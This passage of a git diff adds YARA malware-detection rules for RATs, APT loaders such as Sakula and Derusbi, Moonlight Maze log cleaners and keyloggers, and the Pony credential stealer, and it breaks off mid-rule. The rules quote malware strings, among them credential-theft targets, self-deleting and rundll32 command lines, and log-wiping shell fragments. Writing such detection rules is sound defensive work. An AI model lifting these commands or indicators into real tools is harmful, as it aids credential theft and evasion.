+        $a1 = "SRWebSocket"  nocase wide ascii
+        $a2 = "SocketRocket"  nocase wide ascii
+        // https://github.com/joeroback/SSHTunnel/
+        $b1 = "SSH tunnel not launched" nocase wide ascii
+        $b2 = "SSH tunnel still running" nocase wide ascii
+        $b3 = "SSH tunnel already launched" nocase wide ascii
+        $b4 = "Entering interactive session." nocase wide ascii
+    condition:
+        MachO and any of ($a*) and any of ($b*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_multi_pupy_rat.yara b/yara-mikesxrs/AirBnB/malware_multi_pupy_rat.yara
new file mode 100644
index 0000000..d97b432
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_multi_pupy_rat.yara
@@ -0,0 +1,16 @@
+rule malware_multi_pupy_rat
+{
+    meta:
+        description = "pupy - opensource cross platform rat and post-exploitation tool"
+        reference = "https://github.com/n1nj4sec/pupy"
+        author = "@mimeframe"
+    strings:
+        $a1 = "dumping lsa secrets" nocase wide ascii
+        $a2 = "dumping cached domain passwords" nocase wide ascii
+        $a3 = "the keylogger is already started" nocase wide ascii
+        $a4 = "pupyutils.dns" wide ascii
+        $a5 = "pupwinutils.security" wide ascii
+        $a6 = "-PUPY_CONFIG_COMES_HERE-" wide ascii
+    condition:
+        3 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_multi_vesche_basicrat.yara b/yara-mikesxrs/AirBnB/malware_multi_vesche_basicrat.yara
new file mode 100644
index 0000000..876d981
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_multi_vesche_basicrat.yara
@@ -0,0 +1,15 @@
+rule malware_multi_vesche_basicrat
+{
+    meta:
+        description = "cross-platform Python 2.x Remote Access Trojan (RAT)"
+        reference = "https://github.com/vesche/basicRAT"
+        author = "@mimeframe"
+    strings:
+        $a1 = "HKCU Run registry key applied" wide ascii
+        $a2 = "HKCU Run registry key failed" wide ascii
+        $a3 = "Error, platform unsupported." wide ascii
+        $a4 = "Persistence successful," wide ascii
+        $a5 = "Persistence unsuccessful," wide ascii
+    condition:
+        all of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_apt_red_leaves_generic.yara b/yara-mikesxrs/AirBnB/malware_windows_apt_red_leaves_generic.yara
new file mode 100644
index 0000000..6f7f11c
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_apt_red_leaves_generic.yara
@@ -0,0 +1,27 @@
+rule malware_windows_apt_red_leaves_generic
+{
+    meta:
+        description = "Red Leaves malware, related to APT10"
+        reference = "https://github.com/nccgroup/Cyber-Defence/blob/master/Technical%20Notes/Red%20Leaves/Source/Red%20Leaves%20technical%20note%20v1.0.md"
+        author = "David Cannings"
+        md5 = "81df89d6fa0b26cadd4e50ef5350f341"
+    strings:
+        // MiniLZO release date
+        $a1 = "Feb 04 2015"
+        $a2 = "I can not start %s"
+        $a3 = "dwConnectPort" fullword
+        $a4 = "dwRemoteLanPort" fullword
+        $a5 = "strRemoteLanAddress" fullword
+        $a6 = "strLocalConnectIp" fullword
+        $a7 = "\\\\.\\pipe\\NamePipe_MoreWindows" wide
+        $a8 = "RedLeavesCMDSimulatorMutex" wide
+        $a9 = "(NT %d.%d Build %d)" wide
+        $a10 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)" wide
+        $a11 = "red_autumnal_leaves_dllmain.dll" wide ascii
+        $a12 = "__data" wide
+        $a13 = "__serial" wide
+        $a14 = "__upt" wide
+        $a15 = "__msgid" wide
+    condition:
+        7 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_apt_whitebear_binary_loader_1.yara b/yara-mikesxrs/AirBnB/malware_windows_apt_whitebear_binary_loader_1.yara
new file mode 100644
index 0000000..ec1c250
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_apt_whitebear_binary_loader_1.yara
@@ -0,0 +1,22 @@
+rule malware_windows_apt_whitebear_binary_loader_1
+{
+    meta:
+        description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts"
+        reference = "https://securelist.com/introducing-whitebear/81638/"
+        author = "@fusionrace"
+        md5 = "b099b82acb860d9a9a571515024b35f0"
+    strings:
+        // Output messages
+        $a1 = "### PE STORAGE ###" wide ascii
+        $a2 = "### CRYPTO 0 ###" wide ascii
+        $a3 = "### EXTERNAL STORAGE ###" wide ascii
+        $a4 = "### CRYPTO 1 ###" wide ascii
+        $a5 = "### QUEUES ###" wide ascii
+        $a6 = "### TRANSPORT ###" wide ascii
+        $a7 = "### EXECUTION SUBSYSTEM ###" wide ascii
+        $a8 = "### AUTORUN MANAGER ###" wide ascii
+        $a9 = "### INJECT MANAGER ###" wide ascii
+        $a10 = "### LOCAL TRANSPORT MANAGER ###" wide ascii
+    condition:
+        6 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_apt_whitebear_binary_loader_2.yara b/yara-mikesxrs/AirBnB/malware_windows_apt_whitebear_binary_loader_2.yara
new file mode 100644
index 0000000..e1c1423
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_apt_whitebear_binary_loader_2.yara
@@ -0,0 +1,17 @@
+rule malware_windows_apt_whitebear_binary_loader_2
+{
+    meta:
+        description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts"
+        reference = "https://securelist.com/introducing-whitebear/81638/"
+        author = "@fusionrace"
+        md5 = "06bd89448a10aa5c2f4ca46b4709a879"
+    strings:
+        // Non-native English-speaker debug messages
+        $b1 = "i cunt waiting anymore #%d" wide ascii
+        $b2 = "lights aint turnt off with #%d" wide ascii
+        $b3 = "Not find process" wide ascii
+        $b4 = "CMessageProcessingSystem::Receive_TAKE_NOP" wide ascii
+        $b5 = "CMessageProcessingSystem::Receive_TAKE_CAN_NOT_WORK" wide ascii
+    condition:
+        3 of ($b*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_apt_whitebear_binary_loader_3.yara b/yara-mikesxrs/AirBnB/malware_windows_apt_whitebear_binary_loader_3.yara
new file mode 100644
index 0000000..0054590
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_apt_whitebear_binary_loader_3.yara
@@ -0,0 +1,16 @@
+rule malware_windows_apt_whitebear_binary_loader_3
+{
+    meta:
+        description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts"
+        reference = "https://securelist.com/introducing-whitebear/81638/"
+        author = "@fusionrace"
+        md5 = "b099b82acb860d9a9a571515024b35f0"
+    strings:
+        // Loader runtime flow
+        $c1 = "{531511FA-190D-5D85-8A4A-279F2F592CC7}" wide ascii
+        $c2 = "IsLoaderAlreadyWork" wide ascii
+        $c3 = "\\\\.\\pipe\\Winsock2\\CatalogChangeListener-%03x%01x-%01x" wide ascii
+        $c4 = "\\\\.\\pipe\\Winsock2\\CatalogChangeListener-%02x%02x-%01x" wide ascii
+    condition:
+        all of ($c*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_IRIX_exploit_GEN.yara b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_IRIX_exploit_GEN.yara
new file mode 100644
index 0000000..b27bc39
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_IRIX_exploit_GEN.yara
@@ -0,0 +1,20 @@
+import "pe"
+
+rule malware_windows_moonlightmaze_IRIX_exploit_GEN
+{
+    meta:
+        description = "Rule to detect Irix exploits from David Hedley used by Moonlight Maze hackers"
+        reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+        reference2 = "https://www.exploit-db.com/exploits/19274/"
+        author = "Kaspersky Lab"
+        md5_1 = "008ea82f31f585622353bd47fa1d84be" //df3
+        md5_2 = "a26bad2b79075f454c83203fa00ed50c" //log
+        md5_3 = "f67fc6e90f05ba13f207c7fdaa8c2cab" //xconsole
+        md5_4 = "5937db3896cdd8b0beb3df44e509e136" //xlock
+        md5_5 = "f4ed5170dcea7e5ba62537d84392b280" //xterm
+    strings:
+        $a1 = "stack = 0x%x, targ_addr = 0x%x"
+        $a2 = "execl failed"
+    condition:
+        (uint32(0)==0x464c457f) and (all of them)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_cle_tool.yara b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_cle_tool.yara
new file mode 100644
index 0000000..c940177
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_cle_tool.yara
@@ -0,0 +1,17 @@
+rule malware_windows_moonlightmaze_cle_tool
+{
+    meta:
+        description = "Rule to detect Moonlight Maze 'cle' log cleaning tool"
+        reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+        author = "Kaspersky Lab"
+        md5 = "647d7b711f7b4434145ea30d0ef207b0"
+    strings:
+        $a1 = "./a filename template_file" ascii wide
+        $a2 = "May be %s is empty?"  ascii wide
+        $a3 = "template string = |%s|"   ascii wide
+        $a4 = "No blocks !!!"
+        $a5 = "No data in this block !!!!!!"  ascii wide
+        $a6 = "No good line"
+    condition:
+        3 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_custom_sniffer.yara b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_custom_sniffer.yara
new file mode 100644
index 0000000..6c2225a
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_custom_sniffer.yara
@@ -0,0 +1,20 @@
+rule malware_windows_moonlightmaze_custom_sniffer
+{
+    meta:
+        description = "Rule to detect Moonlight Maze sniffer tools"
+        reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+        author = "Kaspersky Lab"
+        md5_1 = "7b86f40e861705d59f5206c482e1f2a5"
+        md5_2 = "927426b558888ad680829bd34b0ad0e7"
+    strings:
+        //strings from ora ->
+        $a1 = "/var/tmp/gogo" fullword
+        $a2 = "myfilename= |%s|" fullword
+        $a3 = "mypid,mygid=" fullword
+        $a4 = "mypid=|%d| mygid=|%d|" fullword
+        //strings from tdn ->
+        $a5 = "/var/tmp/task" fullword
+        $a6 = "mydevname= |%s|" fullword
+    condition:
+        any of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_de_tool.yara b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_de_tool.yara
new file mode 100644
index 0000000..0ad5345
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_de_tool.yara
@@ -0,0 +1,16 @@
+rule malware_windows_moonlightmaze_de_tool
+{
+    meta:
+        description = "Rule to detect Moonlight Maze 'de' and 'deg' tunnel tool"
+        reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+        author = "Kaspersky Lab"
+        md5_1 = "4bc7ed168fb78f0dc688ee2be20c9703"
+        md5_2 = "8b56e8552a74133da4bc5939b5f74243"
+    strings:
+        $a1 = "Vnuk: %d" ascii fullword
+        $a2 = "Syn: %d" ascii fullword
+        //%s\r%s\r%s\r%s\r ->
+        $a3 = {25 73 0A 25 73 0A 25 73 0A 25 73 0A}
+    condition:
+        2 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_encrypted_keyloger.yara b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_encrypted_keyloger.yara
new file mode 100644
index 0000000..1fc240b
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_encrypted_keyloger.yara
@@ -0,0 +1,11 @@
+rule malware_windows_moonlightmaze_encrypted_keyloger
+{
+    meta:
+        description = "Rule to detect Moonlight Maze encrypted keylogger logs"
+        reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+        author = "Kaspersky Lab"
+    strings:
+        $a1 = {47 01 22 2A 6D 3E 39 2C}
+    condition:
+        ($a1 at 0)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_loki.yara b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_loki.yara
new file mode 100644
index 0000000..fe2c654
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_loki.yara
@@ -0,0 +1,27 @@
+rule malware_windows_moonlightmaze_loki
+{
+    meta:
+        description = "Rule to detect Moonlight Maze Loki samples by custom attacker-authored strings"
+        reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+        author = "Kaspersky Lab"
+        md5_1 = "14cce7e641d308c3a177a8abb5457019"
+        md5_2 = "a3164d2bbc45fb1eef5fde7eb8b245ea"
+        md5_3 = "dabee9a7ea0ddaf900ef1e3e166ffe8a"
+        md5_4 = "1980958afffb6a9d5a6c73fc1e2795c2"
+        md5_5 = "e59f92aadb6505f29a9f368ab803082e"
+    strings:
+        $a1 = "Write file Ok..." ascii wide
+        $a2 = "ERROR: Can not open socket...." ascii wide
+        $a3 = "Error in parametrs:"  ascii wide
+        $a4 = "Usage: @<get/put> <IP> <PORT> <file>"  ascii wide
+        $a5 = "ERROR: Not connect..."  ascii wide
+        $a6 = "Connect successful...."  ascii wide
+        $a7 = "clnt <%d> rqstd n ll kll"  ascii wide
+        $a8 = "clnt <%d> rqstd swap"  ascii wide
+        $a9 = "cld nt sgnl prcs grp" ascii wide
+        $a10 = "cld nt sgnl prnt" ascii wide
+        // keeping only ascii version of string ->
+        $a11 = "ork error" ascii fullword
+    condition:
+        2 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_loki2crypto.yara b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_loki2crypto.yara
new file mode 100644
index 0000000..334de50
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_loki2crypto.yara
@@ -0,0 +1,16 @@
+rule malware_windows_moonlightmaze_loki2crypto
+{
+    meta:
+        description = "Rule to detect hardcoded DH modulus used in 1996/1997 Loki2 sourcecode; #ifdef STRONG_CRYPTO /* 384-bit strong prime */"
+        reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+        author = "Costin Raiu, Kaspersky Lab"
+        md5_1 = "19fbd8cbfb12482e8020a887d6427315"
+        md5_2 = "ea06b213d5924de65407e8931b1e4326"
+        md5_3 = "14ecd5e6fc8e501037b54ca263896a11"
+        md5_4 = "e079ec947d3d4dacb21e993b760a65dc"
+        md5_5 = "edf900cebb70c6d1fcab0234062bfc28"
+    strings:
+        $modulus = {DA E1 01 CD D8 C9 70 AF C2 E4 F2 7A 41 8B 43 39 52 9B 4B 4D E5 85 F8 49}
+    condition:
+        $modulus
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_u_logcleaner.yara b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_u_logcleaner.yara
new file mode 100644
index 0000000..74d6405
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_u_logcleaner.yara
@@ -0,0 +1,18 @@
+import "pe"
+
+rule malware_windows_moonlightmaze_u_logcleaner
+{
+    meta:
+        description = "Rule to detect log cleaners based on utclean.c"
+        reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+        reference2 = "http://cd.textfiles.com/cuteskunk/Unix-Hacking-Exploits/utclean.c"
+        author = "Kaspersky Lab"
+        md5_1 = "d98796dcda1443a37b124dbdc041fe3b"
+        md5_2 = "73a518f0a73ab77033121d4191172820"
+    strings:
+        $a1 = "Hiding complit...n"
+        $a2 = "usage: %s <username> <fixthings> [hostname]"
+        $a3 = "ls -la %s* ; /bin/cp  ./wtmp.tmp %s; rm  ./wtmp.tmp"
+    condition:
+        (uint32(0)==0x464c457f) and (any of them)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_wipe.yara b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_wipe.yara
new file mode 100644
index 0000000..3645280
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_wipe.yara
@@ -0,0 +1,18 @@
+import "pe"
+
+rule malware_windows_moonlightmaze_wipe
+{
+    meta:
+        description = "Rule to detect log cleaner based on wipe.c"
+        reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+        reference2 = "http://www.afn.org/~afn28925/wipe.c"
+        author = "Kaspersky Lab"
+        md5 = "e69efc504934551c6a77b525d5343241"
+    strings:
+        $a1 = "ERROR: Unlinking tmp WTMP file."
+        $a2 = "USAGE: wipe [ u|w|l|a ] ...options..."
+        $a3 = "Erase acct entries on tty :   wipe a [username] [tty]"
+        $a4 = "Alter lastlog entry       :   wipe l [username] [tty] [time] [host]"
+    condition:
+        (uint32(0)==0x464c457f) and (2 of them)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_xk_keylogger.yara b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_xk_keylogger.yara
new file mode 100644
index 0000000..3eacd6c
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_moonlightmaze_xk_keylogger.yara
@@ -0,0 +1,22 @@
+rule malware_windows_moonlightmaze_xk_keylogger
+{
+    meta:
+        description = "Rule to detect Moonlight Maze 'xk' keylogger"
+        reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
+        author = "Kaspersky Lab"
+    strings:
+        $a1 = "Log ended at => %s"
+        $a2 = "Log started at => %s [pid %d]"
+        $a3 = "/var/tmp/task" fullword
+        $a4 = "/var/tmp/taskhost" fullword
+        $a5 = "my hostname: %s"
+        $a6 = "/var/tmp/tasklog"
+        $a7 = "/var/tmp/.Xtmp01" fullword
+        $a8 = "myfilename=-%s-"
+        $a9 = "/var/tmp/taskpid"
+        $a10 = "mypid=-%d-" fullword
+        $a11 = "/var/tmp/taskgid" fullword
+        $a12 = "mygid=-%d-" fullword
+    condition:
+        3 of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_pony_stealer.yara b/yara-mikesxrs/AirBnB/malware_windows_pony_stealer.yara
new file mode 100644
index 0000000..14904c9
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_pony_stealer.yara
@@ -0,0 +1,21 @@
+rule malware_windows_pony_stealer
+{
+    meta:
+        description = "Pony stealer malware"
+        reference = "https://www.knowbe4.com/pony-stealer"
+        author = "@mimeframe"
+        md5 = "5e52ce394c3be2a685dbb8f435e2f64f"
+    strings:
+        $a1 = "signons.sqlite" nocase wide ascii
+        $a2 = "signons.txt" nocase wide ascii
+        $a3 = "signons2.txt" nocase wide ascii
+        $a4 = "signons3.txt" nocase wide ascii
+        $a5 = "WininetCacheCredentials" nocase wide ascii
+        $a6 = "moz_logins" nocase wide ascii
+        $a7 = "encryptedPassword" nocase wide ascii
+        $a8 = "FlashFXP" nocase wide ascii
+        $a9 = "BulletProof" nocase wide ascii
+        $a10 = "CuteFTP" nocase wide ascii
+    condition:
+        all of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_remcos_rat.yara b/yara-mikesxrs/AirBnB/malware_windows_remcos_rat.yara
new file mode 100644
index 0000000..5197fea
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_remcos_rat.yara
@@ -0,0 +1,20 @@
+rule malware_windows_remcos_rat
+{
+    meta:
+        description = "https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2"
+        reference = "https://breaking-security.net/remcos/remcos-changelog/"
+        author = "@mimeframe"
+        md5 = "c8dafe143fe1d81ae6a3c0cd4724b272"
+    strings:
+        $a1 = "[Following text has been pasted from clipboard:]" wide ascii
+        $a2 = "[Chrome StoredLogins found, cleared!]" wide ascii
+        $a3 = "[Firefox StoredLogins cleared!]" wide ascii
+        $b1 = "getclipboard" wide ascii
+        $b2 = "stopmiccapture" wide ascii
+        $b3 = "downloadfromurltofile" wide ascii
+        $b4 = "getcamsingleframe" wide ascii
+        $c1 = "Breaking-Security.Net" wide ascii
+        $c2 = "REMCOS v" wide ascii
+    condition:
+        any of ($a*) or 3 of ($b*) or all of ($c*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_t3ntman_crunchrat.yara b/yara-mikesxrs/AirBnB/malware_windows_t3ntman_crunchrat.yara
new file mode 100644
index 0000000..9ff4bbd
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_t3ntman_crunchrat.yara
@@ -0,0 +1,19 @@
+rule malware_windows_t3ntman_crunchrat
+{
+    meta:
+        description = "HTTPS-based Remote Administration Tool (RAT)"
+        reference = "https://github.com/t3ntman/CrunchRAT"
+        author = "@mimeframe"
+    strings:
+        $a1 = "<action>command<action>" wide ascii
+        $a2 = "<action>upload<action>" wide ascii
+        $a3 = "<action>download<action>" wide ascii
+        $a4 = "cmd.exe" wide ascii
+        $a5 = "application/x-www-form-urlencoded" wide ascii
+        $a6 = "&action=" wide ascii
+        $a7 = "&secondary=" wide ascii
+        $a8 = "<secondary>" wide ascii
+        $a9 = "<action>" wide ascii
+    condition:
+        all of ($a*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_winnti_loadperf_dll_loader.yara b/yara-mikesxrs/AirBnB/malware_windows_winnti_loadperf_dll_loader.yara
new file mode 100644
index 0000000..92977a3
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_winnti_loadperf_dll_loader.yara
@@ -0,0 +1,13 @@
+rule malware_windows_winnti_loadperf_dll_loader
+{
+    meta:
+        description = "Winnti APT group; gzwrite64 imported from loadoerf.ini"
+        reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/"
+        author = "@mimeframe"
+        md5 = "879ce99e253e598a3c156258a9e81457"
+    strings:
+        $s1 = "loadoerf.ini" fullword ascii wide
+        $s2 = "gzwrite64" fullword ascii wide
+    condition:
+        all of ($s*)
+}
diff --git a/yara-mikesxrs/AirBnB/malware_windows_xrat_quasarrat.yara b/yara-mikesxrs/AirBnB/malware_windows_xrat_quasarrat.yara
new file mode 100644
index 0000000..22df4a2
--- /dev/null
+++ b/yara-mikesxrs/AirBnB/malware_windows_xrat_quasarrat.yara
@@ -0,0 +1,31 @@
+rule malware_windows_xrat_quasarrat
+{
+    meta:
+        description = "xRAT is a derivative of QuasarRAT; this catches both RATs."
+        reference = "https://github.com/quasar/QuasarRAT"
+        author = "@mimeframe"
+    strings:
+        // RemoteShell
+        $a1 = ">> New Session created" wide ascii
+        $a2 = ">> Session unexpectedly closed" wide ascii
+        $a3 = ">> Session closed" wide ascii
+        $a4 = "session unexpectedly closed" wide ascii
+        $a5 = "cmd" fullword wide ascii
+        $a6 = "/K" fullword wide ascii
+        // Commands
+        $b1 = "echo DONT CLOSE THIS WINDOW!" wide ascii
+        $b2 = "ping -n 20 localhost > nul" wide ascii
+        $b3 = "Downloading file..." wide ascii
+        $b4 = "Visited Website" wide ascii
+        $b5 = "Adding Autostart Item failed!" wide ascii
+        $b6 = ":Zone.Identifier" wide ascii
+        // System Handler
+        $c1 = "GetDrives I/O error" wide ascii
+        $c2 = "/r /t 0" wide ascii
+        $c3 = "desktop.ini" wide ascii
+        $c4 = "WAN IP Address" wide ascii
+        $c5 = "User refused the elevation request." wide ascii
+        $c6 = "Process already elevated." wide ascii
+    condition:
+        5 of ($a*) or 5 of ($b*) or 5 of ($c*)
+}
diff --git a/yara-mikesxrs/Airbus/Airbus_index.yara b/yara-mikesxrs/Airbus/Airbus_index.yara
new file mode 100644
index 0000000..80b51d1
--- /dev/null
+++ b/yara-mikesxrs/Airbus/Airbus_index.yara
@@ -0,0 +1,331 @@
+rule derusbi_kernel
+{
+    meta:
+        description = "Derusbi Driver version"
+        date = "2015-12-09"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+    strings:
+	$token1 = "$$$--Hello"     
+	$token2 = "Wrod--$$$"   
+	$cfg = "XXXXXXXXXXXXXXX"
+	$class = ".?AVPCC_BASEMOD@@"
+	$MZ = "MZ"
+
+    condition:
+        $MZ at 0 and $token1 and $token2 and $cfg and $class
+}
+
+rule derusbi_linux
+{
+    meta:
+        description = "Derusbi Server Linux version"
+        date = "2015-12-09"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
+        Reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+    strings:
+	$PS1 = "PS1=RK# \\u@\\h:\\w \\$"
+	$cmd = "unset LS_OPTIONS;uname -a"
+	$pname = "[diskio]"
+	$rkfile = "/tmp/.secure"
+	$ELF = "\x7fELF"
+
+    condition:
+        $ELF at 0 and $PS1 and $cmd and $pname and $rkfile
+}
+
+rule sakula_v1_0
+{
+    meta:
+        description = "Sakula v1.0"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/09/APT-BlackVine-Malware-Sakula"
+    strings:
+        $m1 = "%d_of_%d_for_%s_on_%s"
+        $m2 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m3 = "=%s&type=%d"
+        $m4 = "?photoid="
+        $m5 = "iexplorer"
+                $m6 = "net start \"%s\""
+        $v1_1 = "MicroPlayerUpdate.exe"
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of ($m*) and not $v1_1
+}
+
+rule sakula_v1_1
+{
+    meta:
+        description = "Sakula v1.1"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/09/APT-BlackVine-Malware-Sakula"
+    strings:
+        $m1 = "%d_of_%d_for_%s_on_%s"
+        $m2 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m3 = "=%s&type=%d"
+        $m4 = "?photoid="
+        $m5 = "iexplorer"
+                $m6 = "net start \"%s\""
+        $v1_1 = "MicroPlayerUpdate.exe"
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
+
+rule sakula_v1_2
+{
+    meta:
+        description = "Sakula v1.2"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/09/APT-BlackVine-Malware-Sakula"
+    strings:
+        $m1 = "%d_of_%d_for_%s_on_%s"
+        $m2 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m3 = "cmd.exe /c rundll32 \"%s\""
+        $v1_1 = "MicroPlayerUpdate.exe"
+        $v1_2 = "CCPUpdate"
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and $m1 and $m2 and $m3 and $v1_2 and not $v1_1
+}
+
+rule sakula_v1_3
+{
+    meta:
+        description = "Sakula v1.3"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/09/APT-BlackVine-Malware-Sakula"
+    strings:
+        $m1 = "%d_of_%d_for_%s_on_%s"
+        $m2 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m3 = "cmd.exe /c rundll32 \"%s\""
+
+        $v1_3 = { 81 3E 78 03 00 00 75 57  8D 54 24 14 52 68 0C 05 41 00 68 01 00 00 80 FF  15 00 F0 40 00 85 C0 74 10 8B 44 24 14 68 2C 31  41 00 50 FF 15 10 F0 40 00 8B 4C 24 14 51 FF 15  24 F0 40 00 E8 0F 09 00 }
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
+
+rule sakula_v1_4
+{
+    meta:
+        description = "Sakula v1.4"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/09/APT-BlackVine-Malware-Sakula"
+    strings:
+        $m1 = "%d_of_%d_for_%s_on_%s"
+        $m2 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m3 = "cmd.exe /c rundll32 \"%s\""
+
+        $v1_4 = { 50 E8 CD FC FF FF 83 C4  04 68 E8 03 00 00 FF D7 56 E8 54 12 00 00 E9 AE  FE FF FF E8 13 F5 FF FF }
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
+
+rule sakula_v2_0
+{
+    meta:
+        description = "Sakula v2.0 - The bytes string matchs a specific decryption routine (xor 0x33) (VirtualAlloc + memcpy + loop)"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+
+    strings:
+        $m = { 8B 75 DC 2B F3 6A 40 68  00 10 00 00 56 6A 00 FF 15 04 20 40 00 8B F8 85  FF 74 4A 56 8B 4D E0 03 CB 51 57 E8 3C 02 00 00  83 C4 0C C7 45 FC 00 00 00 00 B3 33 33 D2 89 55  D8 88 5D E7 3B D6 73 11 0F B6 CB 0F B6 04 3A 33  C8 88 0C 3A FE C3 42 EB E5 FF D7 EB }
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
+
+rule sakula_v2_1
+{
+    meta:
+        description = "Sakula v2.1"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "Sakula"
+        $m2 = "%d_of_%d_for_%s_on_%s"
+        $m3 = "Create Child Cmd.exe Process Succeed!"
+        $v2_1 = "\\drivers\\etc\\hosts"
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
+
+rule sakula_v2_2
+{
+    meta:
